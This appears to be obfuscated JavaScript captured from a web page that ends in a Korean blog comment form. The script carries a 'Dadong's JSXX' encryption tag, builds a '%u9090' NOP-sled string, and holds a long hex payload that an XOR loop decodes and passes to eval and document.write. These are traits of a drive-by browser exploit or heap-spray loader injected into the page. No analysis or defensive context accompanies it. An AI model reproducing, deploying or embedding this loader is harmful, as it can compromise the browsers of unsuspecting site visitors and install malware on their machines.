var TkTIh4='\x30';
var FVtfiP5='\x25'+'u9'+'\x30'+'\x39'+TkTIh4;
FVtfiP5+=FVtfiP5;
var kotODWt6="%u";
var PfAX4=unescape;
var pOPgX6="BODY";
xYLfe5 = eval;
TlydQ6=unescape;

LECgD6="1F2B1A2A58530736E4D7EACED6F0EAA4B144745E0B6F01D9CEFC88A46828156F4E91F3D73417755CA5BE92730E0FDCC9824D6704A9F23C1934FA9367572C8ED02701EB817371CEE73108D68F483DAAA938179DBA6E1EDE366A84316EF96E17CC37568431568F6F21A1375E91355D9E6F3A97364CA83244AC6E3286363DCB38C343EC49F637B236BA46C96FC573B932A544A142FB48E536D836AF31DE6ED67296359B31E443C849DA37E9379A36ED6FF9738539F3438642D748C9368B43FC36826E8A72F23382368C43A449BE378C439243916F9D73E135EE43EC42B348AD36A236D230A66EAE72DE38DA32AE4380498237CA30B641B56FB173CD47CF37BA426F48733644394547426E48723630333040436E49723734383942436F49733734333746426F48733633303847426E48723638393632436E49723736364030436F49733743384432426F48733630414635426E48723631354735436E49723733353132436F49733736403236426F48733632453840426E48723634323647436E49723733343031436F49733730403837426F48733645433744426E48723632323647436E49723744353631436F49733743363043426F48733642433936426E48723643344735436E49723735434344436F49733743324331426F48733635413745426E48723638414736436E49723735394034436F49733747403235426F48733636363035426E48723643323642436E49723746373934436F49733738453134426F48733633363542426E48723643413642436E49723734433942436F49733732473130426F48733633463147426E48723638373740436E49723739444537436F49733734403646426F48733644433842426E48723645323642436E49723745314237436F49733747443045426F48733647383137426E48723630344736436E49723741474238436F49733736324633426F48733634453931426E48723643414737436E49723737313236436F49733732403234426F48733631413437426E48723638323645436E49723744403036436F49733745443135426F48733631383732426E48723630413645436E49723741343645436F49733736443138426F48733637463845426E48723643453243436E49723739313544436F49733747333743426F48733630443730426E48723643383834436E49723746313243436F49733730453935426F48733635303842426E48723645303133436E49723744404033436F49733732334545426F48733636323236426E48723636393133436E49723738353345436F49733730334331426F48733630434244426E48723632383133436E49723735453142436F49733733303138426F48733642454245426E48723637344745436E49723744334746436F49733738334332426F48733642344547426E48723638323130436E49723736403545436F49733743374335426F48733647363835426E48723634433732436E49723737403235436F49733730303436426F48733633433139426E48723643323737436E49723735424438436F49733740324341426F48733634354534426E48723646333435436E49723744383233436F49733730353838426F48733645383934426E48723630333330436E49723743433839436F49733742403830426F48733644443634426E48723633373937436E49723746343231436F49733747393033426F48733644364645426E48723632383132436E49723743453544436F49733730393033426F48733645363139426E48723632323132436E49723739304436436F49733734383533426F48733635434635426E48723638334439436E49723730323646436F49733732433030426F48733636413842426E48723636323740436E49723744334237436F49733732403536426F48733639324540426E48723634393735436E49723742473739436F49733747333641426F48733647363930426E48723641323740436E49723738453344436F49733734333641426F48733634463431426E48723632453437436E49723742434336436F49733732333641426F48733634324333426E48723646443738436E49723736403634436F49733742333031426F48733633413347426E48723643423245436E49723736474242436F49733732423841426F48733640453345426E48723632413645436E49723736324541436F49733745443735426F48733640343730426E48723637443138436E49723738364344436F49733732333034426F48733639323745426E48723643304744436E49723737373238436F49733738353838426F48733643343237426E48723643323130436E49723730384335436F49733747333736426F48733637363344426E48723636353137436E49723730454243436F49733734333036426F48733630303536426E48723630323742436E49723732433539436F49733732333643426F48733639343635426E48723642323737436E49723738323534436F49733730383345426F48733637433830426E48723634323137436E49723745454530436F49733747473036426F48733644414433426E48723644443436436E49723743303045436F49733733453536426F48733633383433426E48723644344739436E49723739424330436F49733745333731426F48733633434232426E48723639443232436E49723737343746436F49733735354638426F48733640464134426E48723646314742436E49723730423631436F49733736324443426F48733645363930426E48723641323134436E49723736334239436F49733745304342426F48733645343633426E48723630413640436E49723738364446436F49733743303036426F48733643364633426E48723631314442436E49723738383635436F49733735433846426F48733638464338426E48723637313035436E49723732364537436F49733733303535426F48733634454232426E48723637323435436E49723737304746436F49733739333533426F48733642373243426E48723638413433436E49723741453543436F49733734403530426F48733644423832426E48723636323135436E49723739394334436F49733730333034426F48733647433239426E48723642343736436E49723741473933436F49733739303643426F48733633323239426E48723646363740436E49723731473937436F49733743403039426F48733636304645426E48723630323134436E49723734453343436F49733734373339426F48733633364431426E48723645323134436E49723742393244436F49733747334135426F48733632333737426E48723632384740436E49723731393246436F49733735443733426F48733643384145426E48723643413034436E49723739304741436F49733745333035426F48733636333845426E48723644313437436E49723731313439436F49733737334635426F48733637323537426E48723645324433436E49723738353842436F49733731323746426F48733636434544426E48723635323147436E49723738474042436F49733739373941426F48733643443847426E48723646374734436E49723732344538436F49733730333837426F48733630463138426E48723645414440436E49723746433545436F49733732333041426F48733636413736426E48723645324040436E49723741343130436F49733739324232426F48733643384345426E48723638303940436E49723735363835436F49733744304533426F48733637453634426E48723641333143436E49723730304544436F49733745333041426F48733638334645426E48723630314736436E49723733363945436F49733743344343426F48733643453236426E48723636453840436E49723739403331436F49733736303046426F48733633353343426E48723630353535436E49723738363239436F49733738364142426F48733637443545426E48723645354242436E49723745393841436F49733744393442426F48733638373142426E48723631323547436E49723737373031436F49733731434245426F48733635353342426E48723635413042436E49723743303345436F49733734343133426F48733632343535426E48723633444337436E49723736364341436F49733732344346426F48733633324235426E48723631354030436E49723733374539436F49733747333446426F48733639323539426E48723637413039436E49723730334438436F49733743333338426F48733643413539426E48723632323932436E49723743373339436F49733731443739426F48733644463542426E48723643413730436E49723738393236436F49733747373633426F48733647453531426E48723641323445436E49723732384535436F49733743313939426F48733640383544426E48723633303240436E49723744433632436F49733737363631426F48733638373445426E48723642363643436E49723738323131436F49733742364531426F48733637334138426E48723643394737436E49723744454242436F49733733433043426F48733636423036426E48723632323144436E49723738324342436F49733744304637426F48733633464639426E48723644344730436E49723746394537436F49733744403043426F48733642323542426E48723639444736436E49723743333837436F49733745353535426F48733637433332426E48723639443936436E49723738383931436F49733743344339426F48733636393438426E48723636314444436E49723731333542436F49733731304432426F48733647303847426E48723630323737436E49723734434031436F49733737343046426F48733633344637426E48723630413347436E49723738404531436F49733737454630426F48733642464345426E48723631343444436E49723735334444436F49733747383333426F48733630303437426E48723632313636436E49723738363142436F49733740353834426F48733644423640426E48723642314740436E49723743404546436F49733730473445426F48733634464530426E48723642393242436E49723731324030436F49733733393146426F48733632304145426E48723630333135436E49723735393143436F49733733393046426F48733638444432426E48723639394745436E49723737423530436F49733731424542426F48733636454132426E48723630313339436E49723735453339436F49733732443837426F48733634393043426E48723646453433436E49723733393146436F49733738373837426F48733647463532426E48723645394238436E49723743444742436F49733738404346426F48733634324142426E48723644444732436E49723742323946436F49733733374546426F48733643414231426E48723630313631436E49723733433946436F49733739473736426F48733636453132426E48723636453842436E49723743333637436F49733740384132426F48733643444445426E48723638444542436E49723738473442436F49733739454237426F48733639333737426E48723636393840436E49723735454343436F49733743453639426F48733640324642426E48723639364438436E49723742394335436F49733738443037426F48733634423434426E48723645333438436E49723744393837436F49733744373044426F48733631413439426E48723642443047436E49723742384042436F49733740384245426F48733644454338426E48723642384336436E49723743473432436F49733731394235426F48733645354633426E48723642424035436E49723738403330436F49733740384336426F48733639354440426E48723643323635436E49723732354244436F49733743473235426F48733640453634426E48723633413133436E49723736384239436F49733737394244426F48733631354544426E48723643343137436E49723731453939436F49733733333637426F48733633463839426E48723637353242436E49723736423139436F49733734393344426F48733634434132426E48723638423636436E49723746334031436F49733747303344426F48733643313045426E48723637353242436E49723744383038436F49733731403736426F48733639453944426E48723632323032436E49723741303537436F49733745333133426F48733643383132426E48723638323032436E49723735324546436F49733743333130426F48733637414143426E48723633353031436E49723736313333436F49733731374538426F48733631303031426E48723638423131436E49723732353734436F49733744433038426F48733632333042426E48723636344238436E49723733304746436F49733739383634426F48733647463230426E48723645423130436E49723746394438436F49733742323033426F48733631384539426E48723630303131436E49723734393130436F49733731384539426F48733631303031426E48723630333131436E49723743304236436F49733735434438426F48733647394332426E48723643343343436E49723743303333436F49733731314242426F48733631303031426E48723636343131436E49723730323946436F49733744393542426F48733631303031426E48723630303131436E49723731353942436F49733734393234426F48733644413830426E48723634353344436E49723730313035436F49733742353842426F48733631414539426E48723630303131436E49723732433130436F49733744384332426F48733631303040426E48723630303131436E49723746394231436F49733738394334426F48733630444332426E48723631413243436E49723742324530436F49733747394331426F48733643463239426E48723631443132436E49723742324530436F49733747363831426F48733634433135426E48723642334234436E49723731373035436F49733745313145426F48733631334232426E48723633334740436E49723738304736436F49733734434636426F48733645303147426E48723638314332436E49723739434236436F49733733474531426F48733643423442426E48723630303131436E49723730313130436F49733742433831426F48733642334440426E48723642334247436E49723743453044436F49733745313233426F48733632314232426E48723638423047436E49723730344233436F49733747474539426F48733643334347426E48723638333832436E49723739434230436F49733744443833426F48733635303030426E48723634373536436E49723734363537436F49733743393438426F48733631303031426E48723630303131436E49723730323538436F49733736384336426F48733632334531426E48723634304231436E49723730323731436F49733747394331426F48733631384539426E48723630303131436E49723745383130436F49733731313037426F48733631303031426E48723632424742436E49723743324230436F49733731323430426F48733639334334426E48723642374539436E49723730314233273A0C0A097760722050544B7654506C333C2364223A0C0A202121202021212020776072206F58774F4631203D215166415935285356736E4D5562352E7364706C606265282E426E4872362F672D6A6F744E4557743728293B21212020212120200C0B0973764361343C2364223A0C0A20212120202121202077607220465553667B6C6E32213C206E647620417373617929280D0A212120202121202021776172215572594B42675334213D2031793836313130202C216E59764E47302F6D656E6675682A333A0D0A2121202021212020217761722172776D4D30203D2123436E497237306231222B2362436E497237306231222B2362223B0C0B202021212020212120766073206152407433213C2050674058342972776D4D302E7264716C616264282F426F4873362E672C6A6E744F4556743628283B3B0C0B64656D64746521756A574C6D75343A65656C647565205869726349313B64646D6574642153734379734A50313B64646D65746421474B424364313A65656C647565206B766A7177393B64646D657464216C575946323B65646C65756420506C4A47447B313B64646D65746421616E72775279373A64656D64746521637351554F6242343A64656D6474652177446E67405270343A64656D6474652177517353447441373A64656D64746521476F624D546B59313A64656D647465214D45436645363B65646C65756420724A6347716863323B65646C6575642078584D6665343A64656D6474652164457555636962323A64656D64746521556C796550363B65646C657564205264477A79393A64656D64746521694970494C4A4E303A64656D6474652169585449464F68373A64656D647465214443446678373B65646C6575642063544F7671313A64656D64746521486B4F6A353B64646D6574642145774448303B426E6C6C6462744760736261666428293A";

tjWMlu4="function YhrcH0(){EwEI0=Math.tan;SsBxsJQ0=Math.PI;GKCBd1=parseInt;jwjqv8='length';cUNvq0='test';hIpHMJN1='replace';lWXG2=GKCBd1(~((SsBxsJQ0&SsBxsJQ0)|(~SsBxsJQ0&SsBxsJQ0)&(SsBxsJQ0&~SsBxsJQ0)|(~SsBxsJQ0&~SsBxsJQ0)));PmKGDz0=GKCBd1(((lWXG2&lWXG2)|(~lWXG2&lWXG2)&(lWXG2&~lWXG2)|(~lWXG2&~lWXG2))&1);/Encrypt By Dadong's JSXX 0.39 VIP/ansvRy6=PmKGDz0<<PmKGDz0;new function(){rKbGqib2=xYLfe5('a1Qe4dG]6zY^k8b]#&,m8$[x_GD3]Nvj5dsn7[F[8ecu[S34Rlc]4r;iadpDt='hIpHMJN1);};try{if(!\/^\d$\/gcUNvq0);}catch(e){bsQTNbB5=lWXG2;}vDnfARp5='';vQsREtA6=eval(TlydQ6('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F'+'%64%65'));for(FobLUkY0=lWXG2;FobLUkY0<tjWMlu4[jwjqv8];FobLUkY0-=-PmKGDz0)bsQTNbB5+=tjWMlu4.charCodeAt(FobLUkY0);bsQTNbB5%=TlydQ6(lWXG2+TlydQ6('x')+(1<<6)-PmKGDz0);IkOk4+=PmKGDz0;for(FobLUkY0=lWXG2,ReFzy8=PmKGDz0;FobLUkY0<LECgD6[jwjqv8];FobLUkY0+=ansvRy6,ReFzy8++,bsQTNbB5=bsQTNbB5+ReFzy8){if(\/^(\d{4})\/gcUNvq0)bsQTNbB5%=2;vDnfARp5+=vQsREtA6(GKCBd1(lWXG2+TlydQ6('x')+LECgD6.charAt(FobLUkY0)+LECgD6.charAt(FobLUkY0+GKCBd1(PmKGDz0)))^bsQTNbB5);}try{new function(){rKbGqib2(vDnfARp5);}}catch(e){try{new function(){hXTHGOh6=parseInt;EwEI0(vDnfARp5);}}catch(e) {window.location='/';}}}try{xYLfe5('YhrcH0();')}catch(e) {try{IkOk4=lWXG2;xYLfe5('YhrcH0();');}catch(e){alert('ere');}}";

eval("function YhrcH0(){EwEI0=Math.tan;SsBxsJQ0=Math.PI;GKCBd1=parseInt;jwjqv8='length';cUNvq0='test';hIpHMJN1='replace';lWXG2=GKCBd1(~((SsBxsJQ0&SsBxsJQ0)|(~SsBxsJQ0&SsBxsJQ0)&(SsBxsJQ0&~SsBxsJQ0)|(~SsBxsJQ0&~SsBxsJQ0)));PmKGDz0=GKCBd1(((lWXG2&lWXG2)|(~lWXG2&lWXG2)&(lWXG2&~lWXG2)|(~lWXG2&~lWXG2))&1);/Encrypt By Dadong's JSXX 0.39 VIP/ansvRy6=PmKGDz0<<PmKGDz0;new function(){rKbGqib2=xYLfe5('a1Qe4dG]6zY^k8b]#&,m8$[x_GD3]Nvj5dsn7[F[8ecu[S34Rlc]4r;iadpDt='hIpHMJN1);};try{if(!\/^\d$\/gcUNvq0);}catch(e){bsQTNbB5=lWXG2;}vDnfARp5='';vQsREtA6=eval(TlydQ6('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F'+'%64%65'));for(FobLUkY0=lWXG2;FobLUkY0<tjWMlu4[jwjqv8];FobLUkY0-=-PmKGDz0)bsQTNbB5+=tjWMlu4.charCodeAt(FobLUkY0);bsQTNbB5%=TlydQ6(lWXG2+TlydQ6('x')+(1<<6)-PmKGDz0);IkOk4+=PmKGDz0;for(FobLUkY0=lWXG2,ReFzy8=PmKGDz0;FobLUkY0<LECgD6[jwjqv8];FobLUkY0+=ansvRy6,ReFzy8++,bsQTNbB5=bsQTNbB5+ReFzy8){if(\/^(\d{4})\/gcUNvq0)bsQTNbB5%=2;vDnfARp5+=vQsREtA6(GKCBd1(lWXG2+TlydQ6('x')+LECgD6.charAt(FobLUkY0)+LECgD6.charAt(FobLUkY0+GKCBd1(PmKGDz0)))^bsQTNbB5);}document.write(vDnfARp5);try{new function(){rKbGqib2(vDnfARp5);}}catch(e){try{new function(){hXTHGOh6=parseInt;EwEI0(vDnfARp5);}}catch(e) {window.location='/';}}}try{xYLfe5('YhrcH0();')}catch(e) {try{IkOk4=lWXG2;xYLfe5('YhrcH0();');}catch(e){alert('ere');}}");
</script>
ByJJoon

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다